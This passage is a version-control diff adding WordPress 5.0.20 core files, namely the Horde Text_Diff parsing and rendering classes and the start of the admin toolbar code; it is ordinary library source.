+                                     $to_line_no + count($to_lines) - 1)));
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Get lines from either the old or new text
+     *
+     * @access private
+     *
+     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
+     * @param int   $line_no    Current line number (passed by reference).
+     * @param int   $end        Optional end line, when we want to chop more
+     *                          than one line.
+     *
+     * @return array The chopped lines
+     */
+    function _getLines(&$text_lines, &$line_no, $end = false)
+    {
+        if (!empty($end)) {
+            $lines = array();
+            // We can shift even more
+            while ($line_no <= $end) {
+                array_push($lines, array_shift($text_lines));
+                $line_no++;
+            }
+        } else {
+            $lines = array(array_shift($text_lines));
+            $line_no++;
+        }
+
+        return $lines;
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Engine/string.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Engine/string.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Engine/string.php	(revision 56912)
@@ -0,0 +1,248 @@
+<?php
+/**
+ * Parses unified or context diffs output from eg. the diff utility.
+ *
+ * Example:
+ * <code>
+ * $patch = file_get_contents('example.patch');
+ * $diff = new Text_Diff('string', array($patch));
+ * $renderer = new Text_Diff_Renderer_inline();
+ * echo $renderer->render($diff);
+ * </code>
+ *
+ * Copyright 2005 Örjan Persson <o@42mm.org>
+ * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Örjan Persson <o@42mm.org>
+ * @package Text_Diff
+ * @since   0.2.0
+ */
+class Text_Diff_Engine_string {
+
+    /**
+     * Parses a unified or context diff.
+     *
+     * First param contains the whole diff and the second can be used to force
+     * a specific diff type. If the second parameter is 'autodetect', the
+     * diff will be examined to find out which type of diff this is.
+     *
+     * @param string $diff  The diff content.
+     * @param string $mode  The diff mode of the content in $diff. One of
+     *                      'context', 'unified', or 'autodetect'.
+     *
+     * @return array  List of all diff operations.
+     */
+    function diff($diff, $mode = 'autodetect')
+    {
+        // Detect line breaks.
+        $lnbr = "\n";
+        if (strpos($diff, "\r\n") !== false) {
+            $lnbr = "\r\n";
+        } elseif (strpos($diff, "\r") !== false) {
+            $lnbr = "\r";
+        }
+
+        // Make sure we have a line break at the EOF.
+        if (substr($diff, -strlen($lnbr)) != $lnbr) {
+            $diff .= $lnbr;
+        }
+
+        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
+            return PEAR::raiseError('Type of diff is unsupported');
+        }
+
+        if ($mode == 'autodetect') {
+            $context = strpos($diff, '***');
+            $unified = strpos($diff, '---');
+            if ($context === $unified) {
+                return PEAR::raiseError('Type of diff could not be detected');
+            } elseif ($context === false || $unified === false) {
+                $mode = $context !== false ? 'context' : 'unified';
+            } else {
+                $mode = $context < $unified ? 'context' : 'unified';
+            }
+        }
+
+        // Split by new line and remove the diff header, if there is one.
+        $diff = explode($lnbr, $diff);
+        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
+            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
+            array_shift($diff);
+            array_shift($diff);
+        }
+
+        if ($mode == 'context') {
+            return $this->parseContextDiff($diff);
+        } else {
+            return $this->parseUnifiedDiff($diff);
+        }
+    }
+
+    /**
+     * Parses an array containing the unified diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseUnifiedDiff($diff)
+    {
+        $edits = array();
+        $end = count($diff) - 1;
+        for ($i = 0; $i < $end;) {
+            $diff1 = array();
+            switch (substr($diff[$i], 0, 1)) {
+            case ' ':
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
+                $edits[] = new Text_Diff_Op_copy($diff1);
+                break;
+
+            case '+':
+                // get all new lines
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
+                $edits[] = new Text_Diff_Op_add($diff1);
+                break;
+
+            case '-':
+                // get changed or removed lines
+                $diff2 = array();
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');
+
+                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
+                    $diff2[] = substr($diff[$i++], 1);
+                }
+                if (count($diff2) == 0) {
+                    $edits[] = new Text_Diff_Op_delete($diff1);
+                } else {
+                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
+                }
+                break;
+
+            default:
+                $i++;
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Parses an array containing the context diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseContextDiff(&$diff)
+    {
+        $edits = array();
+        $i = $max_i = $j = $max_j = 0;
+        $end = count($diff) - 1;
+        while ($i < $end && $j < $end) {
+            while ($i >= $max_i && $j >= $max_j) {
+                // Find the boundaries of the diff output of the two files
+                for ($i = $j;
+                     $i < $end && substr($diff[$i], 0, 3) == '***';
+                     $i++);
+                for ($max_i = $i;
+                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
+                     $max_i++);
+                for ($j = $max_i;
+                     $j < $end && substr($diff[$j], 0, 3) == '---';
+                     $j++);
+                for ($max_j = $j;
+                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
+                     $max_j++);
+            }
+
+            // find what hasn't been changed
+            $array = array();
+            while ($i < $max_i &&
+                   $j < $max_j &&
+                   strcmp($diff[$i], $diff[$j]) == 0) {
+                $array[] = substr($diff[$i], 2);
+                $i++;
+                $j++;
+            }
+
+            while ($i < $max_i && ($max_j-$j) <= 1) {
+                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$i++], 2);
+            }
+
+            while ($j < $max_j && ($max_i-$i) <= 1) {
+                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$j++], 2);
+            }
+            if (count($array) > 0) {
+                $edits[] = new Text_Diff_Op_copy($array);
+            }
+
+            if ($i < $max_i) {
+                $diff1 = array();
+                switch (substr($diff[$i], 0, 1)) {
+                case '!':
+                    $diff2 = array();
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
+                            $diff2[] = substr($diff[$j++], 2);
+                        }
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
+                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
+                    break;
+
+                case '+':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
+                    $edits[] = new Text_Diff_Op_add($diff1);
+                    break;
+
+                case '-':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
+                    $edits[] = new Text_Diff_Op_delete($diff1);
+                    break;
+                }
+            }
+
+            if ($j < $max_j) {
+                $diff2 = array();
+                switch (substr($diff[$j], 0, 1)) {
+                case '+':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
+                    $edits[] = new Text_Diff_Op_add($diff2);
+                    break;
+
+                case '-':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
+                    $edits[] = new Text_Diff_Op_delete($diff2);
+                    break;
+                }
+            }
+        }
+
+        return $edits;
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Engine/xdiff.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Engine/xdiff.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Engine/xdiff.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
+ * to compute the differences between the two input arrays.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Jon Parise <jon@horde.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_xdiff {
+
+    /**
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        /* Convert the two input arrays into strings for xdiff processing. */
+        $from_string = implode("\n", $from_lines);
+        $to_string = implode("\n", $to_lines);
+
+        /* Diff the two strings and convert the result to an array. */
+        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
+        $diff = explode("\n", $diff);
+
+        /* Walk through the diff one line at a time.  We build the $edits
+         * array of diff operations by reading the first character of the
+         * xdiff output (which is in the "unified diff" format).
+         *
+         * Note that we don't have enough information to detect "changed"
+         * lines using this approach, so we can't add Text_Diff_Op_changed
+         * instances to the $edits array.  The result is still perfectly
+         * valid, albeit a little less descriptive and efficient. */
+        $edits = array();
+        foreach ($diff as $line) {
+            if (!strlen($line)) {
+                continue;
+            }
+            switch ($line[0]) {
+            case ' ':
+                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
+                break;
+
+            case '+':
+                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
+                break;
+
+            case '-':
+                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Renderer.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Renderer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Renderer.php	(revision 56912)
@@ -0,0 +1,242 @@
+<?php
+/**
+ * A class to render Diffs in different formats.
+ *
+ * This class renders the diff in classic diff format. It is intended that
+ * this class be customized via inheritance, to obtain fancier outputs.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_leading_context_lines = 0;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_trailing_context_lines = 0;
+
+    /**
+     * Constructor.
+     */
+    function __construct( $params = array() )
+    {
+        foreach ($params as $param => $value) {
+            $v = '_' . $param;
+            if (isset($this->$v)) {
+                $this->$v = $value;
+            }
+        }
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff_Renderer( $params = array() ) {
+		self::__construct( $params );
+	}
+
+    /**
+     * Get any renderer parameters.
+     *
+     * @return array  All parameters of this renderer object.
+     */
+    function getParams()
+    {
+        $params = array();
+        foreach (get_object_vars($this) as $k => $v) {
+            if ($k[0] == '_') {
+                $params[substr($k, 1)] = $v;
+            }
+        }
+
+        return $params;
+    }
+
+    /**
+     * Renders a diff.
+     *
+     * @param Text_Diff $diff  A Text_Diff object.
+     *
+     * @return string  The formatted output.
+     */
+    function render($diff)
+    {
+        $xi = $yi = 1;
+        $block = false;
+        $context = array();
+
+        $nlead = $this->_leading_context_lines;
+        $ntrail = $this->_trailing_context_lines;
+
+        $output = $this->_startDiff();
+
+        $diffs = $diff->getDiff();
+        foreach ($diffs as $i => $edit) {
+            /* If these are unchanged (copied) lines, and we want to keep
+             * leading or trailing context lines, extract them from the copy
+             * block. */
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                /* Do we have any diff blocks yet? */
+                if (is_array($block)) {
+                    /* How many lines to keep as context from the copy
+                     * block. */
+                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
+                    if (count($edit->orig) <= $keep) {
+                        /* We have less lines in the block than we want for
+                         * context => keep the whole block. */
+                        $block[] = $edit;
+                    } else {
+                        if ($ntrail) {
+                            /* Create a new block with as many lines as we need
+                             * for the trailing context. */
+                            $context = array_slice($edit->orig, 0, $ntrail);
+                            $block[] = new Text_Diff_Op_copy($context);
+                        }
+                        /* @todo */
+                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
+                                                 $y0, $ntrail + $yi - $y0,
+                                                 $block);
+                        $block = false;
+                    }
+                }
+                /* Keep the copy block as the context for the next block. */
+                $context = $edit->orig;
+            } else {
+                /* Don't we have any diff blocks yet? */
+                if (!is_array($block)) {
+                    /* Extract context lines from the preceding copy block. */
+                    $context = array_slice($context, count($context) - $nlead);
+                    $x0 = $xi - count($context);
+                    $y0 = $yi - count($context);
+                    $block = array();
+                    if ($context) {
+                        $block[] = new Text_Diff_Op_copy($context);
+                    }
+                }
+                $block[] = $edit;
+            }
+
+            if ($edit->orig) {
+                $xi += count($edit->orig);
+            }
+            if ($edit->final) {
+                $yi += count($edit->final);
+            }
+        }
+
+        if (is_array($block)) {
+            $output .= $this->_block($x0, $xi - $x0,
+                                     $y0, $yi - $y0,
+                                     $block);
+        }
+
+        return $output . $this->_endDiff();
+    }
+
+    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
+    {
+        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));
+
+        foreach ($edits as $edit) {
+            switch (strtolower(get_class($edit))) {
+            case 'text_diff_op_copy':
+                $output .= $this->_context($edit->orig);
+                break;
+
+            case 'text_diff_op_add':
+                $output .= $this->_added($edit->final);
+                break;
+
+            case 'text_diff_op_delete':
+                $output .= $this->_deleted($edit->orig);
+                break;
+
+            case 'text_diff_op_change':
+                $output .= $this->_changed($edit->orig, $edit->final);
+                break;
+            }
+        }
+
+        return $output . $this->_endBlock();
+    }
+
+    function _startDiff()
+    {
+        return '';
+    }
+
+    function _endDiff()
+    {
+        return '';
+    }
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        if ($xlen > 1) {
+            $xbeg .= ',' . ($xbeg + $xlen - 1);
+        }
+        if ($ylen > 1) {
+            $ybeg .= ',' . ($ybeg + $ylen - 1);
+        }
+
+        // this matches the GNU Diff behaviour
+        if ($xlen && !$ylen) {
+            $ybeg--;
+        } elseif (!$xlen) {
+            $xbeg--;
+        }
+
+        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
+    }
+
+    function _startBlock($header)
+    {
+        return $header . "\n";
+    }
+
+    function _endBlock()
+    {
+        return '';
+    }
+
+    function _lines($lines, $prefix = ' ')
+    {
+        return $prefix . implode("\n$prefix", $lines) . "\n";
+    }
+
+    function _context($lines)
+    {
+        return $this->_lines($lines, '  ');
+    }
+
+    function _added($lines)
+    {
+        return $this->_lines($lines, '> ');
+    }
+
+    function _deleted($lines)
+    {
+        return $this->_lines($lines, '< ');
+    }
+
+    function _changed($orig, $final)
+    {
+        return $this->_deleted($orig) . "---\n" . $this->_added($final);
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Renderer/inline.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Renderer/inline.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Renderer/inline.php	(revision 56912)
@@ -0,0 +1,206 @@
+<?php
+/**
+ * "Inline" diff renderer.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+
+/** Text_Diff_Renderer */
+
+// WP #7391
+require_once dirname(dirname(__FILE__)) . '/Renderer.php';
+
+/**
+ * "Inline" diff renderer.
+ *
+ * This class renders diffs in the Wiki-style "inline" format.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer_inline extends Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     *
+     * @var integer
+     */
+    var $_leading_context_lines = 10000;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     *
+     * @var integer
+     */
+    var $_trailing_context_lines = 10000;
+
+    /**
+     * Prefix for inserted text.
+     *
+     * @var string
+     */
+    var $_ins_prefix = '<ins>';
+
+    /**
+     * Suffix for inserted text.
+     *
+     * @var string
+     */
+    var $_ins_suffix = '</ins>';
+
+    /**
+     * Prefix for deleted text.
+     *
+     * @var string
+     */
+    var $_del_prefix = '<del>';
+
+    /**
+     * Suffix for deleted text.
+     *
+     * @var string
+     */
+    var $_del_suffix = '</del>';
+
+    /**
+     * Header for each change block.
+     *
+     * @var string
+     */
+    var $_block_header = '';
+
+    /**
+     * Whether to split down to character-level.
+     *
+     * @var boolean
+     */
+    var $_split_characters = false;
+
+    /**
+     * What are we currently splitting on? Used to recurse to show word-level
+     * or character-level changes.
+     *
+     * @var string
+     */
+    var $_split_level = 'lines';
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        return $this->_block_header;
+    }
+
+    function _startBlock($header)
+    {
+        return $header;
+    }
+
+    function _lines($lines, $prefix = ' ', $encode = true)
+    {
+        if ($encode) {
+            array_walk($lines, array(&$this, '_encode'));
+        }
+
+        if ($this->_split_level == 'lines') {
+            return implode("\n", $lines) . "\n";
+        } else {
+            return implode('', $lines);
+        }
+    }
+
+    function _added($lines)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_ins_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_ins_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _deleted($lines, $words = false)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_del_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_del_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _changed($orig, $final)
+    {
+        /* If we've already split on characters, just display. */
+        if ($this->_split_level == 'characters') {
+            return $this->_deleted($orig)
+                . $this->_added($final);
+        }
+
+        /* If we've already split on words, just display. */
+        if ($this->_split_level == 'words') {
+            $prefix = '';
+            while ($orig[0] !== false && $final[0] !== false &&
+                   substr($orig[0], 0, 1) == ' ' &&
+                   substr($final[0], 0, 1) == ' ') {
+                $prefix .= substr($orig[0], 0, 1);
+                $orig[0] = substr($orig[0], 1);
+                $final[0] = substr($final[0], 1);
+            }
+            return $prefix . $this->_deleted($orig) . $this->_added($final);
+        }
+
+        $text1 = implode("\n", $orig);
+        $text2 = implode("\n", $final);
+
+        /* Non-printing newline marker. */
+        $nl = "\0";
+
+        if ($this->_split_characters) {
+            $diff = new Text_Diff('native',
+                                  array(preg_split('//', $text1),
+                                        preg_split('//', $text2)));
+        } else {
+            /* We want to split on word boundaries, but we need to preserve
+             * whitespace as well. Therefore we split on words, but include
+             * all blocks of whitespace in the wordlist. */
+            $diff = new Text_Diff('native',
+                                  array($this->_splitOnWords($text1, $nl),
+                                        $this->_splitOnWords($text2, $nl)));
+        }
+
+        /* Get the diff in inline format. */
+        $renderer = new Text_Diff_Renderer_inline
+            (array_merge($this->getParams(),
+                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));
+
+        /* Run the diff and get the output. */
+        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
+    }
+
+    function _splitOnWords($string, $newlineEscape = "\n")
+    {
+        // Ignore \0; otherwise the while loop will never finish.
+        $string = str_replace("\0", '', $string);
+
+        $words = array();
+        $length = strlen($string);
+        $pos = 0;
+
+        while ($pos < $length) {
+            // Eat a word with any preceding whitespace.
+            $spaces = strspn(substr($string, $pos), " \n");
+            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
+            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
+            $pos += $spaces + $nextpos;
+        }
+
+        return $words;
+    }
+
+    function _encode(&$string)
+    {
+        $string = htmlspecialchars($string);
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/admin-bar.php
===================================================================
--- /tags/5.0.20/src/wp-includes/admin-bar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/admin-bar.php	(revision 56912)
@@ -0,0 +1,1056 @@
+<?php
+/**
+ * Toolbar API: Top-level Toolbar functionality
+ *
+ * @package WordPress
+ * @subpackage Toolbar
+ * @since 3.1.0
+ */
+
+/**
+ * Instantiate the admin bar object and set it up as a global for access elsewhere.
+ *
+ * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR.
+ * For that, use show_admin_bar(false) or the {@see 'show_admin_bar'} filter.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @global WP_Admin_Bar $wp_admin_bar
+ *
+ * @return bool Whether the admin bar was successfully initialized.
+ */
+function _wp_admin_bar_init() {
+	global $wp_admin_bar;
+
+	if ( ! is_admin_bar_showing() )
+		return false;
+
+	/* Load the admin bar class code ready for instantiation */
+	require_once( ABSPATH . WPINC . '/class-wp-admin-bar.php' );
+
+	/* Instantiate the admin bar */
+
+	/**
+	 * Filters the admin bar class to instantiate.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $wp_admin_bar_class Admin bar class to use. Default 'WP_Admin_Bar'.
+	 */
+	$admin_bar_class = apply_filters( 'wp_admin_bar_class', 'WP_Admin_Bar' );
+	if ( class_exists( $admin_bar_class ) )
+		$wp_admin_bar = new $admin_bar_class;
+	else
+		return false;
+
+	$wp_admin_bar->initialize();
+	$wp_admin_bar->add_menus();
+
+	return true;
+}
+
+/**
+ * Renders the admin bar to the page based on the $wp_admin_bar->menu member var.
+ *
+ * This is called very late on the footer actions so that it will render after
+ * anything else being added to the footer.
+ *
+ * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and
+ * add new menus to the admin bar. That way you can be sure that you are adding at most
+ * optimal point, right before the admin bar is rendered. This also gives you access to
+ * the `$post` global, among others.
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_render() {
+	global $wp_admin_bar;
+
+	if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) )
+		return;
+
+	/**
+	 * Load all necessary admin bar items.
+	 *
+	 * This is the hook used to add, remove, or manipulate admin bar items.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference
+	 */
+	do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) );
+
+	/**
+	 * Fires before the admin bar is rendered.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'wp_before_admin_bar_render' );
+
+	$wp_admin_bar->render();
+
+	/**
+	 * Fires after the admin bar is rendered.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'wp_after_admin_bar_render' );
+}
+
+/**
+ * Add the WordPress logo menu.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_wp_menu( $wp_admin_bar ) {
+	if ( current_user_can( 'read' ) ) {
+		$about_url = self_admin_url( 'about.php' );
+	} elseif ( is_multisite() ) {
+		$about_url = get_dashboard_url( get_current_user_id(), 'about.php' );
+	} else {
+		$about_url = false;
+	}
+
+	$wp_logo_menu_args = array(
+		'id'    => 'wp-logo',
+		'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' . __( 'About WordPress' ) . '</span>',
+		'href'  => $about_url,
+	);
+
+	// Set tabindex="0" to make sub menus accessible when no URL is available.
+	if ( ! $about_url ) {
+		$wp_logo_menu_args['meta'] = array(
+			'tabindex' => 0,
+		);
+	}
+
+	$wp_admin_bar->add_menu( $wp_logo_menu_args );
+
+	if ( $about_url ) {
+		// Add "About WordPress" link
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'wp-logo',
+			'id'     => 'about',
+			'title'  => __('About WordPress'),
+			'href'   => $about_url,
+		) );
+	}
+
+	// Add WordPress.org link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'wporg',
+		'title'     => __('WordPress.org'),
+		'href'      => __('https://wordpress.org/'),
+	) );
+
+	// Add codex link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'documentation',
+		'title'     => __('Documentation'),
+		'href'      => __('https://codex.wordpress.org/'),
+	) );
+
+	// Add forums link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'support-forums',
+		'title'     => __('Support Forums'),
+		'href'      => __('https://wordpress.org/support/'),
+	) );
+
+	// Add feedback link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'feedback',
+		'title'     => __('Feedback'),
+		'href'      => __('https://wordpress.org/support/forum/requests-and-feedback'),
+	) );
+}
+
+/**
+ * Add the sidebar toggle button.
+ *
+ * @since 3.8.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) {
+	if ( is_admin() ) {
+		$wp_admin_bar->add_menu( array(
+			'id'    => 'menu-toggle',
+			'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' . __( 'Menu' ) . '</span>',
+			'href'  => '#',
+		) );
+	}
+}
+
+/**
+ * Add the "My Account" item.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_account_item( $wp_admin_bar ) {
+	$user_id      = get_current_user_id();
+	$current_user = wp_get_current_user();
+
+	if ( ! $user_id )
+		return;
+
+	if ( current_user_can( 'read' ) ) {
+		$profile_url = get_edit_profile_url( $user_id );
+	} elseif ( is_multisite() ) {
+		$profile_url = get_dashboard_url( $user_id, 'profile.php' );
+	} else {
+		$profile_url = false;
+	}
+
+	$avatar = get_avatar( $user_id, 26 );
+	/* translators: %s: current user's display name */
+	$howdy  = sprintf( __( 'Howdy, %s' ), '<span class="display-name">' . $current_user->display_name . '</span>' );
+	$class  = empty( $avatar ) ? '' : 'with-avatar';
+
+	$wp_admin_bar->add_menu( array(
+		'id'        => 'my-account',
+		'parent'    => 'top-secondary',
+		'title'     => $howdy . $avatar,
+		'href'      => $profile_url,
+		'meta'      => array(
+			'class'     => $class,
+		),
+	) );
+}
+
+/**
+ * Add the "My Account" submenu items.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_account_menu( $wp_admin_bar ) {
+	$user_id      = get_current_user_id();
+	$current_user = wp_get_current_user();
+
+	if ( ! $user_id )
+		return;
+
+	if ( current_user_can( 'read' ) ) {
+		$profile_url = get_edit_profile_url( $user_id );
+	} elseif ( is_multisite() ) {
+		$profile_url = get_dashboard_url( $user_id, 'profile.php' );
+	} else {
+		$profile_url = false;
+	}
+
+	$wp_admin_bar->add_group( array(
+		'parent' => 'my-account',
+		'id'     => 'user-actions',
+	) );
+
+	$user_info  = get_avatar( $user_id, 64 );
+	$user_info .= "<span class='display-name'>{$current_user->display_name}</span>";
+
+	if ( $current_user->display_name !== $current_user->user_login )
+		$user_info .= "<span class='username'>{$current_user->user_login}</span>";
+
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'user-actions',
+		'id'     => 'user-info',
+		'title'  => $user_info,
+		'href'   => $profile_url,
+		'meta'   => array(
+			'tabindex' => -1,
+		),
+	) );
+
+	if ( false !== $profile_url ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'user-actions',
+			'id'     => 'edit-profile',
+			'title'  => __( 'Edit My Profile' ),
+			'href'   => $profile_url,
+		) );
+	}
+
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'user-actions',
+		'id'     => 'logout',
+		'title'  => __( 'Log Out' ),
+		'href'   => wp_logout_url(),
+	) );
+}
+
+/**
+ * Add the "Site Name" menu.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_site_menu( $wp_admin_bar ) {
+	// Don't show for logged out users.
+	if ( ! is_user_logged_in() )
+		return;
+
+	// Show only when the user is a member of this site, or they're a super admin.
+	if ( ! is_user_member_of_blog() && ! current_user_can( 'manage_network' ) ) {
+		return;
+	}
+
+	$blogname = get_bloginfo('name');
+
+	if ( ! $blogname ) {
+		$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
+	}
+
+	if ( is_network_admin() ) {
+		/* translators: %s: site name */
+		$blogname = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) );
+	} elseif ( is_user_admin() ) {
+		/* translators: %s: site name */
+		$blogname = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) );
+	}
+
+	$title = wp_html_excerpt( $blogname, 40, '&hellip;' );
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'site-name',
+		'title' => $title,
+		'href'  => ( is_admin() || ! current_user_can( 'read' ) ) ? home_url( '/' ) : admin_url(),
+	) );
+
+	// Create submenu items.
+
+	if ( is_admin() ) {
+		// Add an option to visit the site.
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'site-name',
+			'id'     => 'view-site',
+			'title'  => __( 'Visit Site' ),
+			'href'   => home_url( '/' ),
+		) );
+
+		if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'site-name',
+				'id'     => 'edit-site',
+				'title'  => __( 'Edit Site' ),
